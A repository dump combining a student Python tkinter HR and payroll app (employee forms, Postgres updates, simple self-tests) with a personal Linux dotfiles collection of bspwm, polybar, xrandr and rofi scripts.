lbl1_1.grid(column=0, row=0)
except:
window1 = Tk()
window1.title("ERROR MESSAGE")
window1.geometry('300x50')
lbl1_1 = Label(window1, text="User cannot be found")
lbl1_1.grid(column=0, row=0)
deletebutton = tk.Button(self.deleteWin, text="delete user", command=deleteButton)
id.pack(side="top", fill="x")
idEntry.pack(side="top", fill="x", padx=20)
deletebutton.pack(side="bottom")
self.deleteid = idEntry
self.deleteWin.mainloop()
def amend(self):
self.amendWin = tk.Toplevel()
self.amendWin.title("Promotion/Demotion")
name = tk.Label(self.amendWin, text="Enter the name:", anchor="w")
nameEntry = tk.Entry(self.amendWin)
department = tk.Label(self.amendWin, text="Enter the department (enter the new one if changed):", anchor="w")
departmentEntry = tk.Entry(self.amendWin)
id = tk.Label(self.amendWin, text="Enter the ID:", anchor="w")
idEntry = tk.Entry(self.amendWin)
#title = tk.Label(self.amendWin, text="Enter the new title:", anchor="w")
#titleEntry = tk.Entry(self.amendWin)
newJob = tk.Label(self.amendWin, text="Enter the new job:", anchor="w")
jobvalue = tk.StringVar()
job = ttk.Combobox(self.amendWin, textvariable=jobvalue)
job["values"] = ("Staff", "Department Manager", "Senior Manager")
def executionButton():
try:
try:
conn = psycopg2.connect("dbname='EPES' user='postgres' host='localhost' password='123'")
except:
print("I am unable to connect to the database")
# database cursor
cur = conn.cursor()
findRoleSql = ("select role_id, is_manager from role where title = %s")
cur.execute(findRoleSql, [job.get()])
rows = cur.fetchall()
role_id = ""
salary = "Staff1"
isManager = 'FALSE'
for row in rows:
role_id = row[0]
isManager = row[1]
if isManager:
salary = "Manager1"
updateUserSql = ""
updateUserSqlValues = []
if departmentEntry is None:
updateUserSql = ("update employee set role = %s, salary = %s where employee_id = %s")
updateUserSqlValues = [role_id, salary, idEntry.get()]
else:
updateUserSql = ("update employee set role = %s, department = %s, salary = %s where employee_id = %s")
updateUserSqlValues = [role_id, departmentEntry.get(), salary, idEntry.get()]
cur.execute(updateUserSql, updateUserSqlValues)
conn.commit()
window1 = Tk()
window1.title("Execution Success")
window1.geometry('200x50')
lbl1_1 = Label(window1, text="Executed decision for "+nameEntry.get())
lbl1_1.grid(column=0, row=0)
except:
window1 = Tk()
window1.title("ERROR MESSAGE")
window1.geometry('300x50')
lbl1_1 = Label(window1, text="Incorrect inputs or already executed")
lbl1_1.grid(column=0, row=0)
executebutton = tk.Button(self.amendWin, text="Execute", command=executionButton)
#btn = Button(window, text="Create", command=button)
name.pack(side="top", fill="x")
nameEntry.pack(side="top", fill="x", padx=20)
department.pack(side="top", fill="x")
departmentEntry.pack(side="top", fill="x", padx=20)
id.pack(side="top", fill="x")
idEntry.pack(side="top", fill="x", padx=20)
#title.pack(side="top", fill="x")
#titleEntry.pack(side="top", fill="x", padx=20)
newJob.pack(side="top", fill="x")
job.pack(side="top", fill="x", padx=20)
executebutton.pack(side="bottom")
self.entryname = nameEntry
self.entryid = idEntry
self.deleteid = idEntry
self.entrydepartment = departmentEntry
#self.entrytitle = titleEntry
self.comboxlist = job
self.amendWin.mainloop()
if __name__ == "__main__":
root = tk.Tk()
root.title("Main UI")
app = newMainUI(root)
root.mainloop()<file_sep>/UI/DepartmentManager.py
from tkinter import *
from tkinter.ttk import *
import hrSystem
payroll = 0
ratings = "YOU SUCK"
comment = ""
respond = ""
workinghours = 0
decision_exists = False
decision = "Bazinga"
targetEmployee = "0"
employeeID = 0000
hoursApproved = False
def writecomment():
tmpcomment = txt1.get("1.0", "end-1c")
targetemployee = combo1.get()
if tmpcomment != "":
window1 = Tk()
window1.title("Input successful")
window1.geometry('500x500')
lbl1_1 = Label(window1, text="System received your comment to employee " + targetemployee)
lbl1_1.grid(column=0, row=0)
lbl1_2 = Label(window1, text="Your comment is: " + tmpcomment)
lbl1_2.grid(column=0, row=1)
else:
window1 = Tk()
window1.title("ERROR MESSAGE")
window1.geometry('300x50')
lbl1_1 = Label(window1, text="Wrong input. Input cannot be empty.")
lbl1_1.grid(column=0, row=0)
testingComment(tmpcomment, targetemployee)
def writerespond():
tmprespond = txt2.get("1.0", "end-1c")
targetemployee = combo2.get()
if tmprespond != "":
window1 = Tk()
window1.title("Input successful")
window1.geometry('500x500')
lbl1_1 = Label(window1, text="System received your respond to employee " + targetemployee)
lbl1_1.grid(column=0, row=0)
lbl1_2 = Label(window1, text="Your respond is: " + tmprespond)
lbl1_2.grid(column=0, row=1)
else:
window1 = Tk()
window1.title("ERROR MESSAGE")
window1.geometry('300x50')
lbl1_1 = Label(window1, text="Wrong input. Input cannot be empty.")
lbl1_1.grid(column=0, row=0)
testingRespond(tmprespond, targetemployee)
def viewpayroll():
res = "Your payroll is: " + get_payroll()
lbl3.configure(text=res)
testingPayroll()
def viewratings():
res = "Your rating is: " + get_ratings()
lbl4.configure(text=res)
testingRatings()
def setHours():
global payroll
workinghours = txt5.get()
if workinghours.replace('.','',1).isdigit():
window1 = Tk()
window1.title("Input successful")
window1.geometry('300x200')
lbl1_1 = Label(window1, text="System received your working hours.")
lbl1_1.grid(column=0, row=0)
lbl1_2 = Label(window1, text="Please wait for approval.")
lbl1_2.grid(column=0, row=1)
lbl1_2 = Label(window1, text="Your working hours this month is: " + workinghours + "hours")
lbl1_2.grid(column=0, row=2)
payroll = float(workinghours) * 150
elif workinghours == "":
window1 = Tk()
window1.title("ERROR MESSAGE")
window1.geometry('300x50')
lbl1_1 = Label(window1, text="Wrong input. Input cannot be empty.")
lbl1_1.grid(column=0, row=0)
else:
window1 = Tk()
window1.title("ERROR MESSAGE")
window1.geometry('300x50')
lbl1_1 = Label(window1, text="Wrong input. Please type in only numbers.")
lbl1_1.grid(column=0, row=0)
testingSetHours(workinghours)
def readdecision():
window1 = Tk()
window1.title("Decision")
window1.geometry('500x300')
lbl1_1 = Label(window1, text=decision)
lbl1_1.grid(column=0, row=0)
if decision_exists:
lbl6_1.configure(text=decision)
else:
text = "No decision was made recently"
lbl6_1.configure(text=text)
testingReadDecision()
def senddecision():
lbl6_1.configure(text="Decision sent")
def clicked7():
global hoursApproved
hoursApproved = True
text = "Employee " + str(combo7.get()) + "'s working hour has been approved"
lbl7.configure(text=text)
testingApproveHours()
def get_payroll():
return str(payroll)
def get_ratings():
return ratings
def testingComment(x, y):
if x == "TestingComment" and y == "2":
print("comment functionality test succeeded!")
else:
print("comment functionality test failed!")
def testingRespond(x, y):
if x == "TestingRespond" and y == "1":
print("comment functionality test succeeded!")
else:
print("comment functionality test failed!")
def testingPayroll():
if get_payroll() == "8000":
print("view payroll functionality test succeeded!")
else:
print(get_payroll())
print("view payroll functionality test failed!")
def testingReadDecision():
global decision
if decision == "Bazinga":
print("read decision functionality test succeeded!")
else:
print("read decision functionality test failed!")
def testingApproveHours():
targetEmployee = combo7.get()
global hoursApproved
if targetEmployee == "4" and hoursApproved == True:
print("Approve Hours functionality test succeeded!")
else:
print("Approve Hours functionality test failed!")
def testingRatings():
if get_ratings() == "YOU SUCK":
print("view ratings functionality test succeeded!")
else:
print("view ratings functionality test failed!")
def testingSetHours(hours):
if hours == "40":
print("Set hours functionality test succeeded!")
else:
print("Set hours functionality test failed!")
if __name__ == "__main__":
window = Tk()
window.title("DepartmentManger")
window.geometry('1000x600')
lbl1 = Label(window, text="Write comment")
lbl1.grid(column=0, row=0)
txt1 = Text(window,width=40,height=10)
txt1.grid(column=1, row=0)
txt1.focus()
btn1 = Button(window, text="Send Comment", command=writecomment)
btn1.grid(column=3, row=0)
combo1 = Combobox(window)
combo1['values'] = (1, 2, 3, 4, 5, "Text")
combo1.current(0) # set the selected item
combo1.grid(column=2, row=0)
lbl2 = Label(window, text="Write respond")
lbl2.grid(column=0, row=1)
txt2 = Text(window,width=40,height=10)
txt2.grid(column=1, row=1)
btn2 = Button(window, text="Send Respond", command=writerespond)
btn2.grid(column=3, row=1)
combo2 = Combobox(window)
combo2['values'] = (1, 2, 3, 4, 5, "Text")
combo2.current(0) # set the selected item
combo2.grid(column=2, row=1)
btn3 = Button(window, text="View Payroll", command=viewpayroll)
btn3.grid(column=1, row=2)
lbl3 = Label(window, text="Your payroll is: ")
lbl3.grid(column=0, row=2)
btn4 = Button(window, text="View Ratings", command=viewratings)
btn4.grid(column=1, row=3)
lbl4 = Label(window, text="Your rating is: ")
lbl4.grid(column=0, row=3)
lbl5 = Label(window, text="Your working hours: ")
lbl5.grid(column=0, row=4)
txt5 = Entry(window, width=40)
txt5.grid(column=1, row=4)
btn5 = Button(window, text="Set hours", command=setHours)
btn5.grid(column=2, row=4)
lbl6 = Label(window, text="Senior Manager's Decision: ")
lbl6.grid(column=0, row=5)
lbl6_1 = Label(window, text="")
lbl6_1.grid(column=1, row=5)
btn6 = Button(window, text="Read Decision", command=readdecision)
btn6.grid(column=2, row=5)
btn6_1 = Button(window, text="Send Decision", command=senddecision)
btn6_1.grid(column=3, row=5)
lbl7 = Label(window, text="")
lbl7.grid(column=1, row=6)
btn7 = Button(window, text="Approve Hours", command=clicked7)
btn7.grid(column=0, row=6)
combo7 = Combobox(window)
combo7['values'] = (1, 2, 3, 4, 5, "Text")
combo7.current(0) # set the selected item
combo7.grid(column=2, row=6)
window.mainloop()<file_sep>/UI/MainUI.py
from tkinter import *
username = ""
password = ""
def clicked():
username = txt1.get()
password = txt2.get()
print(username)
print(password)
if username == "cxs496":
lbl3 = Label(window, text="Login successful")
lbl3.grid(column=0, row=3)
else:
lbl3 = Label(window, text="Login failed")
lbl3.grid(column=0, row=3)
testLogin(username,password)
def testLogin(un,pw):
if un == "cxs496" and pw == "testing":
print("Login functionality test succeeded")
print("Logging in...")
else:
print("Login functionality test failed")
if __name__ == "__main__":
window = Tk()
window.title("MainUI")
window.geometry('400x150')
lbl1 = Label(window, text="Username:")
lbl1.grid(column=0, row=0)
txt1 = Entry(window,width=20)
txt1.grid(column=1, row=0)
txt1.focus()
lbl2 = Label(window, text="Password:")
lbl2.grid(column=0, row=1)
txt2 = Entry(window,width=20)
txt2.grid(column=1, row=1)
btn = Button(window, text="Login", command=clicked)
btn.grid(column=1, row=2)
window.mainloop()<file_sep>/UI/departmentStaffUI.py
from tkinter import *
from tkinter.ttk import *
import hrSystem
payroll = 0;
ratings = "YOU SUCK"
comment = ""
respond = ""
workinghours = 0
def writecomment():
tmpcomment = txt1.get("1.0", "end-1c")
targetemployee = combo1.get()
if tmpcomment != "":
window1 = Tk()
window1.title("Input successful")
window1.geometry('500x500')
lbl1_1 = Label(window1, text="System received your comment to employee " + targetemployee)
lbl1_1.grid(column=0, row=0)
lbl1_2 = Label(window1, text="Your comment is: " + tmpcomment)
lbl1_2.grid(column=0, row=1)
else:
window1 = Tk()
window1.title("ERROR MESSAGE")
window1.geometry('300x50')
lbl1_1 = Label(window1, text="Wrong input. Input cannot be empty.")
lbl1_1.grid(column=0, row=0)
testingComment(tmpcomment, targetemployee)
def writerespond():
tmprespond = txt2.get("1.0", "end-1c")
targetemployee = combo2.get()
if tmprespond != "":
window1 = Tk()
window1.title("Input successful")
window1.geometry('500x500')
lbl1_1 = Label(window1, text="System received your respond to employee " + targetemployee)
lbl1_1.grid(column=0, row=0)
lbl1_2 = Label(window1, text="Your respond is: " + tmprespond)
lbl1_2.grid(column=0, row=1)
else:
window1 = Tk()
window1.title("ERROR MESSAGE")
window1.geometry('300x50')
lbl1_1 = Label(window1, text="Wrong input. Input cannot be empty.")
lbl1_1.grid(column=0, row=0)
testingRespond(tmprespond, targetemployee)
def viewpayroll():
res = "Your payroll is: " + get_payroll()
lbl3.configure(text=res)
testingPayroll()
def viewratings():
res = "Your rating is: " + get_ratings()
lbl4.configure(text=res)
testingRatings()
def setHours():
global payroll
workinghours = txt5.get()
if workinghours.replace('.','',1).isdigit():
window1 = Tk()
window1.title("Input successful")
window1.geometry('300x200')
lbl1_1 = Label(window1, text="System received your working hours.")
lbl1_1.grid(column=0, row=0)
lbl1_2 = Label(window1, text="Please wait for approval.")
lbl1_2.grid(column=0, row=1)
lbl1_2 = Label(window1, text="Your working hours this month is: " + workinghours + "hours")
lbl1_2.grid(column=0, row=2)
payroll = float(workinghours) * 150
elif workinghours == "":
window1 = Tk()
window1.title("ERROR MESSAGE")
window1.geometry('300x50')
lbl1_1 = Label(window1, text="Wrong input. Input cannot be empty.")
lbl1_1.grid(column=0, row=0)
else:
window1 = Tk()
window1.title("ERROR MESSAGE")
window1.geometry('300x50')
lbl1_1 = Label(window1, text="Wrong input. Please type in only numbers.")
lbl1_1.grid(column=0, row=0)
testingSetHours(workinghours)
def get_payroll():
return str(payroll)
def get_ratings():
return ratings
def testingComment(x, y):
if x == "TestingComment" and y == "2":
print("comment functionality test succeeded!")
else:
print("comment functionality test failed!")
def testingRespond(x, y):
if x == "TestingRespond" and y == "1":
print("comment functionality test succeeded!")
else:
print("comment functionality test failed!")
def testingPayroll():
if get_payroll() == "6000":
print("view payroll functionality test succeeded!")
else:
print(get_payroll())
print("view payroll functionality test failed!")
def testingRatings():
if get_ratings() == "YOU SUCK":
print("view ratings functionality test succeeded!")
else:
print("view ratings functionality test failed!")
def testingSetHours(hours):
if hours == "40":
print("Set hours functionality test succeeded!")
else:
print("Set hours functionality test failed!")
if __name__ == "__main__":
window = Tk()
window.title("departmentStaffUI")
window.geometry('900x400')
lbl1 = Label(window, text="Write comment")
lbl1.grid(column=0, row=0)
txt1 = Text(window,width=40,height=10)
txt1.grid(column=1, row=0)
txt1.focus()
btn1 = Button(window, text="Send Comment", command=writecomment)
btn1.grid(column=3, row=0)
combo1 = Combobox(window)
combo1['values'] = (1, 2, 3, 4, 5, "Text")
combo1.current(0) # set the selected item
combo1.grid(column=2, row=0)
lbl2 = Label(window, text="Write respond")
lbl2.grid(column=0, row=1)
txt2 = Text(window,width=40,height=10)
txt2.grid(column=1, row=1)
btn2 = Button(window, text="Send Respond", command=writerespond)
btn2.grid(column=3, row=1)
combo2 = Combobox(window)
combo2['values'] = (1, 2, 3, 4, 5, "Text")
combo2.current(0) # set the selected item
combo2.grid(column=2, row=1)
btn3 = Button(window, text="View Payroll", command=viewpayroll)
btn3.grid(column=1, row=2)
lbl3 = Label(window, text="Your payroll is: ")
lbl3.grid(column=0, row=2)
btn4 = Button(window, text="View Ratings", command=viewratings)
btn4.grid(column=1, row=3)
lbl4 = Label(window, text="Your rating is: ")
lbl4.grid(column=0, row=3)
lbl5 = Label(window, text="Your working hours: ")
lbl5.grid(column=0, row=4)
txt5 = Entry(window, width=40)
txt5.grid(column=1, row=4)
btn5 = Button(window, text="Set hours", command=setHours)
btn5.grid(column=2, row=4)
window.mainloop()<file_sep>/hrsystemunittest.py
import unittest
from tttt import hrsystemui
import hrSystem
import tkinter as tk
class hrsystemunittest(unittest.TestCase):
def setUp(self):
self.staff = hrSystem.Staff("Tom","0001","tech","tech staff")
self.staff1 = hrSystem.DepartmentManager("Reno","0002","tech","tech manager")
def test_get(self):
self.assertEqual(self.staff.get_name(), "Tom")
self.assertEqual(self.staff.get_number(), "0001")
self.assertEqual(self.staff.get_department(), "tech")
self.assertEqual(self.staff.get_job(), "Staff")
self.assertEqual(self.staff.get_title(), "tech staff")
def test_set(self):
self.staff.set_department("marketing")
self.staff.set_job("Department Manager")
self.staff.set_name("<NAME>")
self.staff.set_title("Marketing Manager")
self.assertEqual(self.staff.get_department(), "marketing")
self.assertEqual(self.staff.get_job(), "Department Manager")
self.assertEqual(self.staff.get_title(), "Marketing Manager")
self.assertEqual(self.staff.get_name(), "<NAME>")
def test_comment(self):
self.assertEqual(self.staff.give_comments(self.staff1,"Appoint the meeting on Monday"), "Comment has been delivered")
self.assertEqual(self.staff1.get_inbox(),"Inbox"+"\n"+"Appoint the meeting on Monday")
if __name__ == '__main__':
unittest.main()
<file_sep>/UI/hrSystemUI.py
import tkinter as tk
import hrSystem
from tkinter import ttk
import numpy as np
import pandas as pd
import csv
import os
class hrsystemui(tk.Frame):
def __init__(self, parent):
root.title("User record")
root.geometry("480x450")
tk.Frame.__init__(self, parent)
# create a prompt, an input box, an output label,
# and a button to do the computation
self.name = tk.Label(self, text="Enter a name:", anchor="w")
self.entryname = tk.Entry(self)
self.id = tk.Label(self, text="Enter a ID:", anchor="w")
self.entryid = tk.Entry(self)
self.department = tk.Label(self, text="Enter a department:", anchor="w")
self.entrydepartment = tk.Entry(self)
self.job = tk.Label(self, text="Select a job type:", anchor="w")
self.comvalue = tk.StringVar()
self.comboxlist = ttk.Combobox(self, textvariable=self.comvalue)
self.comboxlist["values"] = ("Staff", "Department Manager", "Senior Manager")
self.comboxlist.current(0)
self.title = tk.Label(self, text="Enter a title:", anchor="w")
self.entrytitle = tk.Entry(self)
self.submit = tk.Button(self, text="submit", command = self.action)
self.show = tk.Button(self, text="show the list", command = self.showList)
self.deleteUser = tk.Button(self, text="delete user", command = self.deletUser)
self.amend = tk.Button(self, text="promotion/demotion", command=self.amend)
self.output = tk.Label(self, text="")
self.flag = np.array("")
self.list = np.array("")
self.result = ""
self.win=""
self.deleteWin=""
self.deleteid=""
self.deleteWin=""
self.amendWin=""
self.namelist=tk.Label(self, text="")
self.header = ['name','ID','department','title','job']
self.aname = ""
self.aid = ""
self.adepartment = ""
self.atitle = ""
self.acomboxlist =""
# lay the widgets out on the screen.
self.name.pack(side="top", fill="x")
self.entryname.pack(side="top", fill="x", padx=20)
self.id.pack(side="top", fill="x")
self.entryid.pack(side="top", fill="x", padx=20)
self.department.pack(side="top", fill="x")
self.entrydepartment.pack(side="top", fill="x", padx=20)
self.job.pack(side="top", fill="x")
self.comboxlist.pack(side="top", fill="x", padx=20)
self.title.pack(side="top", fill="x")
self.entrytitle.pack(side="top", fill="x", padx=20)
self.output.pack(side="top", fill="x", expand=True)
self.submit.pack(side="right")
self.deleteUser.pack(side="right")
self.amend.pack(side="right")
self.show.pack(side="left")
def action(self):
usrid = self.entryid.get()
if not os.path.isfile('namelist.csv'):
if self.comboxlist.get() == "Staff":
self.flag = np.append(self.flag, [
hrSystem.Staff(self.entryname.get(), self.entryid.get(), self.entrydepartment.get(),
self.entrytitle.get())])
if self.comboxlist.get() == "Department Manager":
self.flag = np.append(self.flag, [
hrSystem.DepartmentManager(self.entryname.get(), self.entryid.get(), self.entrydepartment.get(),
self.entrytitle.get())])
if self.comboxlist.get() == "Senior Manager":
self.flag = np.append(self.flag, [
hrSystem.SeniorManager(self.entryname.get(), self.entryid.get(), self.entrydepartment.get(),
self.entrytitle.get())])
validated = True
else:
userids = pd.read_csv('namelist.csv')['ID'].values
contains = False
validated = True
for i in range(len(userids)):
if userids[i]==usrid:
contains = True
validated = False
if not contains:
if self.comboxlist.get() == "Staff":
self.flag = np.append(self.flag, [
hrSystem.Staff(self.entryname.get(), self.entryid.get(), self.entrydepartment.get(),
self.entrytitle.get())])
if self.comboxlist.get() == "Department Manager":
self.flag = np.append(self.flag, [
hrSystem.DepartmentManager(self.entryname.get(), self.entryid.get(), self.entrydepartment.get(),
self.entrytitle.get())])
if self.comboxlist.get() == "Senior Manager":
self.flag = np.append(self.flag, [
hrSystem.SeniorManager(self.entryname.get(), self.entryid.get(), self.entrydepartment.get(),
self.entrytitle.get())])
if validated:
self.result = self.result + "\n" + "\n" + self.flag[1].__str__()
self.list = np.append(self.list, self.flag[1])
self.output.configure(text=self.flag[1].__str__() + "\n has been saved")
data = np.array([self.flag[1].get_name(), self.flag[1].get_number(), self.flag[1].get_department(),
self.flag[1].get_title(), self.flag[1].get_job()])
df = pd.DataFrame([data])
if not os.path.isfile('namelist.csv'):
df.to_csv('namelist.csv', header=self.header, index=False)
else:
df.to_csv('namelist.csv', mode='a', header=False, index=False)
self.flag = np.delete(self.flag, 1)
else:
self.output.configure(text="Duplicated ID, please try typing another ID")
def showList(self):
self.result = ""
df = pd.read_csv('namelist.csv')
for i in range(len(df)):
for j in range(0,4):
self.result = self.result + "\n"+"\n" + str(df.iloc[i][j])
from tkinter import scrolledtext
win = tk.Toplevel()
txt = scrolledtext.ScrolledText(win)
win.title("Name List")
win.geometry("240x225")
txt.insert(tk.INSERT,self.result)
txt.pack()
win.mainloop()
def deletUser(self):
self.deleteWin = tk.Toplevel()
self.deleteWin.title("Delete User")
id = tk.Label(self.deleteWin, text="Enter an ID:", anchor="w")
idEntry = tk.Entry(self.deleteWin)
deletebutton = tk.Button(self.deleteWin, text="delete user", command = self.deletUserExecution)
id.pack(side="top", fill="x")
idEntry.pack(side="top", fill="x", padx=20)
deletebutton.pack(side="bottom")
self.deleteid = idEntry
self.deleteWin.mainloop()
def amend(self):
self.amendWin = tk.Toplevel()
self.amendWin.title("Promotion/Demotion")
name = tk.Label(self.amendWin, text="Enter the name:", anchor="w")
nameEntry = tk.Entry(self.amendWin)
department = tk.Label(self.amendWin, text="Enter the department (enter the new one if changed):", anchor="w")
departmentEntry = tk.Entry(self.amendWin)
id = tk.Label(self.amendWin, text="Enter the ID:", anchor="w")
idEntry = tk.Entry(self.amendWin)
title = tk.Label(self.amendWin, text="Enter the new title:", anchor="w")
titleEntry = tk.Entry(self.amendWin)
newJob = tk.Label(self.amendWin, text="Enter the new job:", anchor="w")
jobvalue = tk.StringVar()
job = ttk.Combobox(self.amendWin, textvariable=jobvalue)
job["values"] = ("Staff", "Department Manager", "Senior Manager")
executebutton = tk.Button(self.amendWin, text="Execution", command = self.amendation)
name.pack(side="top", fill="x")
nameEntry.pack(side="top", fill="x", padx=20)
department.pack(side="top", fill="x")
departmentEntry.pack(side="top", fill="x", padx=20)
id.pack(side="top", fill="x")
idEntry.pack(side="top", fill="x", padx=20)
title.pack(side="top", fill="x")
titleEntry.pack(side="top", fill="x", padx=20)
newJob.pack(side="top", fill="x")
job.pack(side="top", fill="x", padx=20)
executebutton.pack(side="bottom")
self.aname = nameEntry
self.aid = idEntry
self.deleteid = idEntry
self.adepartment = departmentEntry
self.atitle = titleEntry
self.acomboxlist = job
self.amendWin.mainloop()
def deletUserExecution(self):
flag = ""
idlist = pd.read_csv('namelist.csv')['ID'].values
deletid = self.deleteid.get()
for i in range(0, len(idlist)-1):
print(idlist[i])
if idlist[i] == deletid:
if self.deleteWin != "":
self.deleteWin.destroy()
flag = i+1
if flag != "":
df = pd.read_csv('namelist.csv',header=None)
df = df.drop(index=flag)
df.to_csv('namelist.csv',index=False,header=None)
self.list=np.delete(self.list,flag,axis=0)
def amendation(self):
self.deletUserExecution()
usrid = self.entryid.get()
if not os.path.isfile('namelist.csv'):
if self.acomboxlist.get() == "Staff":
self.flag = np.append(self.flag, [
hrSystem.Staff(self.aname.get(), self.aid.get(), self.adepartment.get(),
self.atitle.get())])
if self.acomboxlist.get() == "Department Manager":
self.flag = np.append(self.flag, [
hrSystem.DepartmentManager(self.aname.get(), self.aid.get(), self.adepartment.get(),
self.atitle.get())])
if self.acomboxlist.get() == "Senior Manager":
self.flag = np.append(self.flag, [
hrSystem.SeniorManager(self.aname.get(), self.aid.get(), self.adepartment.get(),
self.atitle.get())])
validated = True
else:
userids = pd.read_csv('namelist.csv')['ID'].values
contains = False
validated = True
for i in range(len(userids)):
if userids[i] == usrid:
contains = True
validated = False
if not contains:
if self.acomboxlist.get() == "Staff":
self.flag = np.append(self.flag, [
hrSystem.Staff(self.aname.get(), self.aid.get(), self.adepartment.get(),
self.atitle.get())])
if self.acomboxlist.get() == "Department Manager":
self.flag = np.append(self.flag, [
hrSystem.DepartmentManager(self.aname.get(), self.aid.get(), self.adepartment.get(),
self.atitle.get())])
if self.acomboxlist.get() == "Senior Manager":
self.flag = np.append(self.flag, [
hrSystem.SeniorManager(self.aname.get(), self.aid.get(), self.adepartment.get(),
self.atitle.get())])
if validated:
self.result = self.result + "\n" + "\n" + self.flag[1].__str__()
self.list = np.append(self.list, self.flag[1])
self.output.configure(text=self.flag[1].__str__() + "\n has been saved")
data = np.array([self.flag[1].get_name(), self.flag[1].get_number(), self.flag[1].get_department(),
self.flag[1].get_title(), self.flag[1].get_job()])
df = pd.DataFrame([data])
if not os.path.isfile('namelist.csv'):
df.to_csv('namelist.csv', header=self.header, index=False)
else:
df.to_csv('namelist.csv', mode='a', header=False, index=False)
self.flag = np.delete(self.flag, 1)
else:
self.output.configure(text="Duplicated ID, please try typing another ID")
self.amendWin.destroy()
# set the output widget to have our result
# if this is run as a program (versus being imported),
# create a root window and an instance of our example,
# then start the event loop
if __name__ == "__main__":
root = tk.Tk()
hrsystemui(root).pack(fill="both", expand=True)
root.mainloop() | d1fe49cdd201efe08b8676073ca0e3cf2cdc6b20 | [
"Markdown",
"SQL",
"Python"
] | 12 | SQL | petergao1/EPES | b4675a578e6cb9d277b96748841404a9577dfe28 | 3dd03007964ea5a7564a02a066f53f1c3af6484c |
refs/heads/master | <repo_name>fwolle30/dotfiles<file_sep>/scripts/.local/bin/wm.displays-home
#!/bin/bash
xrandr --output eDP1 --mode 1920x1080 --pos 3440x0
# xrandr --output DP1 --brightness 0.93
# xrandr --newmode "1720x1440_60.00" 209.75 1720 1848 2032 2344 1440 1443 1453 1493 -hsync +vsync
# xrandr --addmode HDMI2 1720x1440_60.00
# xrandr --addmode DP1 1720x1440_60.00
# xrandr --output HDMI2 --mode 1720x1440_60.00 --pos 0x0
# xrandr --output DP1 --mode 1720x1440_60.00 --pos 1720x0
# bspc monitor HDMI2 -g 1720x1440_60.00
# bspc monitor DP1 -g 1720x1440_60.00
# bspc monitor HDMI2 -d 1 2 3
# bspc monitor DP1 -d 4 5 6
# bspc monitor eDP1 -d 7 8 9
bspc monitor eDP1 -g 1920x1080+3440+0
bspc monitor vHDMI -r
bspc wm -a vHDMI 3440x1440+0+0
bspc monitor vHDMI -d 1 2 3 4
bspc monitor eDP1 -d 5 6 7 8
bspc monitor DP1 -r
bspc monitor HDMI2 -r
xrandr --output DP1 --brightness 0.93
<file_sep>/scripts/.local/bin/slideshow.sh
#!/bin/bash
ls ~/Pictures/*.{png,jpg,jpeg} | feh --filelist - -g 640x480 --scale-down --zoom fill --slideshow-delay 20
<file_sep>/bspwm/.config/bspwm/bspwmrc
#!/bin/bash
sxhkd -m -1 &
bspc config border_width 0
bspc config window_gap 20
bspc config top_padding 30
bspc config bottom_padding 30
bspc config left_padding 0
bspc config right_padding 0
bspc config remove_disabled_monitors true
bspc config remove_unplugged_monitors true
bspc config split_ratio 0.52
bspc config borderless_monocle true
bspc config gapless_monocle true
bspc config focus_follows_pointer true
bspc config pointer_modifier mod4
bspc config pointer_action1 move
bspc config pointer_action2 resize_side
bspc config pointer_action3 resize_corner
bspc rule -a Zoiper state=tiled
bspc rule -a Tilda state=floating focus layer=ABOVE
bspc rule -a Guake state=floating locked=on desktop=focused
bspc rule -a jetbrains-studio state=floating
bspc rule -a java-lang-Thread state=floating
wm.displays
~/.config/bspwm/autostart
<file_sep>/scripts/.local/bin/t.sh
#!/bin/bash
echo 'KERNEL=="i2c-[0-9]*", GROUP="i2c"' >> /etc/udev/rules.d/10-local_i2c_group.rules
<file_sep>/scripts/.local/bin/ws-ip.sh
#!/bin/bash
nslookup chh0720.dermalog.hh 10.120.20.10
<file_sep>/scripts/.local/bin/wm.displays-home2
#!/usr/bin/env bash
xrandr --output DP1 --pos 1920x0 --mode 1920x1080 \
--output eDP1 --pos 1920x1080 --mode 1920x1080
bspc monitor DP1 -g 1920x1080+1920+0
bspc monitor eDP1 -g 1920x1080+1920+1080
bspc monitor DP1 -d 1 2 3 4
bspc monitor eDP1 -d 5 6 7 8
<file_sep>/requirements.txt
termite
rofi
bspwm
sxhkd
xorg-xsetroot
xorg-xrandr
feh
#ToDo: Test this
#vifm
# - https://github.com/seebye/ueberzug
# - https://github.com/dirkvdb/ffmpegthumbnailer
# - https://github.com/marianosimone/epub-thumbnailer
# - https://github.com/sdushantha/fontpreview
# - pdftoppm (from AUR)
# - ImageMagick (you probably already have this)<file_sep>/scripts/.local/bin/wm.polybar
#!/usr/bin/env bash
killall -q polybar
~/.config/polybar/scripts/spotify/launchlistener.sh &
monitors=$(bspc query -M --names)
trayMonitor=eDP1
vendor=$(get-edid -i -q -b 3 | xxd -s +8 -l 2 -ps)
if [[ $vendor == "05e3" ]]; then
trayMonitor=vHDMI
fi
echo -ne $monitors | grep $trayMonitor > /dev/null
if [ $? -gt 0 ]; then
trayMonitor=$(polybar -m | grep '(primary)' | cut -d: -f1)
fi
for i in $monitors; do
if [ "$i" = "$trayMonitor" ]; then
TRAY_POS=right MONITOR=$i polybar mainbar &
else
MONITOR=$i polybar subbar &
fi;
done
<file_sep>/scripts/.local/bin/rofi.wallpaper.sh
#!/usr/bin/env bash
if [ ! -z "$@" ]; then
wallpaper=~/Pictures/"$@"
wplink=~/Pictures/current-wallpaper
feh --bg-fill $wallpaper
[ -f $wplink ] && rm $wplink
ln -s $wallpaper $wplink
exit 0;
else
echo -ne "\0prompt\x1fWallpaper\n"
fi
for i in $(ls ~/Pictures/*.{jp{,e}g,png} 2> /dev/null ); do
file=$(basename $i)
echo -ne "$file\0icon\x1f$i\n"
let index=$index+1
done
<file_sep>/bspwm/.config/bspwm/autostart
#!/usr/bin/env bash
xsetroot -cursor_name left_ptr
wm.wallpaper
picom --experimental-backends &
wm.polybar &
nm-applet &
guake
<file_sep>/scripts/.local/bin/rofi-wall
#!/usr/bin/env bash
pictures=$(ls -l /home/fwolbring/Pictures/*.{jp{,e}g,png} 2> /dev/null | wc -l)
let rest=$pictures%4
let lines=$pictures/4
if [ $rest > 0 ]; then
let lines=$lines+1
fi
export LINES=$lines
rofi -show wallpaper -modi "wallpaper:rofi.wallpaper.sh" -theme wallpaper
<file_sep>/scripts/.local/bin/rofi-launch
#!/usr/bin/env bash
monitors=$(rofi --help | awk -e '$1 ~ "ID:" { printf $2":" } $1 ~ "name:" { printf $2"\n" }')
currentMonitor=$(bspc query -M -m --names)
monitorId=$(echo -ne "$monitors" | grep :$currentMonitor$ | cut -d: -f1)
